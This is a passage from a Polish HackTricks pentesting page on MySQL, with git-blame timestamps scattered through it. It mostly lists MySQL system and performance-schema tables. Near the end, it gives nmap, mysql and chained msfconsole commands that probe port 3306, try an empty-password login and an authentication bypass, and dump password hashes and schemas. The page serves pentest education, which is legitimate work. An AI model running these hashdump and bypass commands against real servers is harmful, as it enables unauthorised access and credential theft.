2022-05-01 13:25:53 +00:00
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
servers\
2022-05-01 13:25:53 +00:00
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
2020-09-16 22:27:27 +00:00
user
{% endtab %}
{% tab title="performance_schema" %}
accounts\
2022-05-01 13:25:53 +00:00
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
2022-05-01 13:25:53 +00:00
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
2022-05-01 13:25:53 +00:00
user\_variables\_by\_thread\
users\
2022-05-01 13:25:53 +00:00
variables\_by\_thread
2020-09-16 22:27:27 +00:00
{% endtab %}
{% tab title="sys" %}
2022-05-01 13:25:53 +00:00
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
2024-02-11 01:46:25 +00:00
memory
# Tabele MySQL
## Tabele systemowe
- `schema_table_statistics`
- `schema_table_statistics_with_buffer`
- `schema_tables_with_full_table_scans`
- `schema_unused_indexes`
- `session`
- `session_ssl_status`
- `statement_analysis`
- `statements_with_errors_or_warnings`
- `statements_with_full_table_scans`
- `statements_with_runtimes_in_95th_percentile`
- `statements_with_sorting`
- `statements_with_temp_tables`
- `sys_config`
- `user_summary`
- `user_summary_by_file_io`
- `user_summary_by_file_io_type`
- `user_summary_by_stages`
- `user_summary_by_statement_latency`
- `user_summary_by_statement_type`
- `version`
- `wait_classes_global_by_avg_latency`
- `wait_classes_global_by_latency`
- `waits_by_host_by_latency`
- `waits_by_user_by_latency`
- `waits_global_by_latency`
- `x$host_summary`
- `x$host_summary_by_file_io`
- `x$host_summary_by_file_io_type`
- `x$host_summary_by_stages`
- `x$host_summary_by_statement_latency`
- `x$host_summary_by_statement_type`
- `x$innodb_buffer_stats_by_schema`
- `x$innodb_buffer_stats_by_table`
- `x$innodb_lock_waits`
- `x$io_by_thread_by_latency`
- `x$io_global_by_file_by_bytes`
- `x$io_global_by_file_by_latency`
- `x$io_global_by_wait_by_bytes`
- `x$io_global_by_wait_by_latency`
- `x$latest_file_io`
- `x$memory_by_host_by_current_bytes`
- `x$memory_by_thread_by_current_bytes`
- `x$memory_by_user_by_current_bytes`
- `x$memory_global_by_current_bytes`
- `x$memory_global_total`
- `x$processlist`
- `x$ps_digest_95th_percentile_by_avg_us`
- `x$ps_digest_avg_latency_distribution`
- `x$ps_schema_table_statistics_io`
- `x$schema_flattened_keys`
- `x$schema_index_statistics`
- `x$schema_table_lock_waits`
- `x$schema_table_statistics`
- `x$schema_table_statistics_with_buffer`
- `x$schema_tables_with_full_table_scans`
- `x$session`
- `x$statement_analysis`
- `x$statements_with_errors_or_warnings`
- `x$statements_with_full_table_scans`
- `x$statements_with_runtimes_in_95th_percentile`
- `x$statements_with_sorting`
- `x$statements_with_temp_tables`
- `x$user_summary`
- `x$user_summary_by_file_io`
- `x$user_summary_by_file_io_type`
- `x$user_summary_by_stages`
- `x$user_summary_by_statement_latency`
- `x$user_summary_by_statement_type`
- `x$wait_classes_global_by_avg_latency`
- `x$wait_classes_global_by_latency`
- `x$waits_by_host_by_latency`
- `x$waits_by_user_by_latency`
- `x$waits_global_by_latency`
```
2021-08-12 13:10:06 +00:00
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
2021-08-15 17:37:03 +00:00
Entry_1:
2024-02-11 01:46:25 +00:00
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
2021-08-15 17:37:03 +00:00
2024-02-11 01:46:25 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-mysql
2021-08-15 17:37:03 +00:00
Entry_2:
2024-02-11 01:46:25 +00:00
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
2021-08-15 17:37:03 +00:00
Entry_3:
2024-02-11 01:46:25 +00:00
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2022-10-25 15:56:49 +00:00
2024-02-11 01:46:25 +00:00
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2024-02-11 01:46:25 +00:00
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>